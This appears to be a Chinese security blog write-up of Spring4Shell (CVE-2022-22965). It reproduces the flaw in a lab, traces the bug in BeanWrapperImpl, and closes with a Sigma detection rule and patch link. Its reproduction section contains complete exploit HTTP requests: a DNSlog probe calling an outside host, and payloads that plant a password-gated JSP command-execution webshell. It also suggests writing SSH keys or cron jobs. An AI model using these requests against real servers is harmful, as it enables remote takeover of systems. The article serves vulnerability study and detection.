STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
原理:
springmvc中通过方法形参来接收页面请求的key/value数据,经过参数绑定,将key/value数据绑定到controller方法的形参上。
然后,参数绑定过程中,key值存在能够调用class属性,而JDK9及以上版本可以通过class.module.classLoader获取classLoader,利用该特性,完成配置参数的修改;
触发该漏洞需要满足三个基本条件:
Tomcat容器;
使用JDK9及以上版本的Spring MVC框架;
Spring 框架以及衍生的框架spring-beans-*.jar 文件;
漏洞影响版本:
版本低于5.3.18和5.2.20的Spring框架或其衍生框架构建的网站或应用。
环境搭建
先下载源码 Spring4Shell-POC ,注意:tomcat环境下运行;
漏洞复现
dnslog检测漏洞存在:
POST /handling_form_submission_complete_war/greeting HTTP/1.1
Host: 192.168.80.150:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
class.module.classLoader.resources.context.configFile=http://spring-jayway.6u40q4.dnslog.cn/test&class.module.classLoader.resources.context.configFile.content.aaa=xxx
写入webshell:webapps/ROOT
POST /handling_form_submission_complete_war/greeting HTTP/1.1
Host: 192.168.80.150:8080
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
写入地址:
C:\JAVA\Tomcat\apache-tomcat-8.5.72\webapps\handling_form_submission_complete_war
POST /handling_form_submission_complete_war/greeting HTTP/1.1
Host: 192.168.80.150:8080
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 831
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=C:\JAVA\Tomcat\apache-tomcat-8.5.72\webapps\handling_form_submission_complete_war&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
注意:
这里webapps/ROOT是写入相对路径,C:\JAVA\Tomcat\apache-tomcat-8.5.72\webapps\handling_form_submission_complete_war是写入相对路径;同时,路径只能写入1次,无法修改,所以验证漏洞存在,写入webshell时,需要知道网站的相对路径,或者绝对路径,才可以写入成功。
因此,对于linux环境,漏洞利用,可以写入ssh密钥,或者定时任务,比写入webshell更有价值;
写入内容对比发现,直接写入webshell,%等特殊字符会造成乱码;
输入:
%3c%25%20%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%3e%0a%0a
url解码:
<% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } >
解决办法,通过头信息,将特殊字符写入进去。
输入:
%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
url解码:
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
写入内容对比:
漏洞分析
首先,在 spring-beans-5.3.15-sources.jar下,
\org\springframework\beans\BeanWrapperImpl.java 设置断点调试;
post参数:username=admin&password=admin。
protected BeanPropertyHandler getLocalPropertyHandler(String propertyName) {
PropertyDescriptor pd = getCachedIntrospectionResults().getPropertyDescriptor(propertyName);
return (pd != null ? new BeanPropertyHandler(pd) : null);
}
跟进getPropertyDescriptor方法,发现key值具有class属性,而JDK9及以上版本可以通过class.module.classLoader获取classLoader;
设置post内容:
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
继续调试,发现classLoader可获取,具体如下:
class.module.classLoader.resources.context.parent.pipeline.first.directory 调用完毕后,获取到value值为webapps/ROOT;
最后通过setValue方法,实现系统参数修改;
注意:
1.class.module.classLoader.resources.context.parent.pipeline.first.directory参数修改后,只有tomcat重启,才可以重新修改;
2.通过修改
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat参数,可以实现写入文件的文件名修改;
具体如下:
检测规则
Sigma检测规则如下:
title: Spring Framework(CVE-2022-22965)远程代码执行漏洞
description: 检测 Spring Framework(CVE-2022-22965)远程代码执行漏洞
status: test
date: 2022/05/29
author: xiaohai
logsource:
category: webserver
detection:
keywords:
- 'class.module.classLoader.resources.context'
condition: keywords
tags:
- attack.t1190
- attack.initial_access
- cve.2022.22965
level: Critical
缓解措施
目前官方已经发布补丁,可升级至安全版本(https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15)
参考链接
https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw
https://www.freebuf.com/vuls/327457.html
https://github.com/reznok/Spring4Shell-POC
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们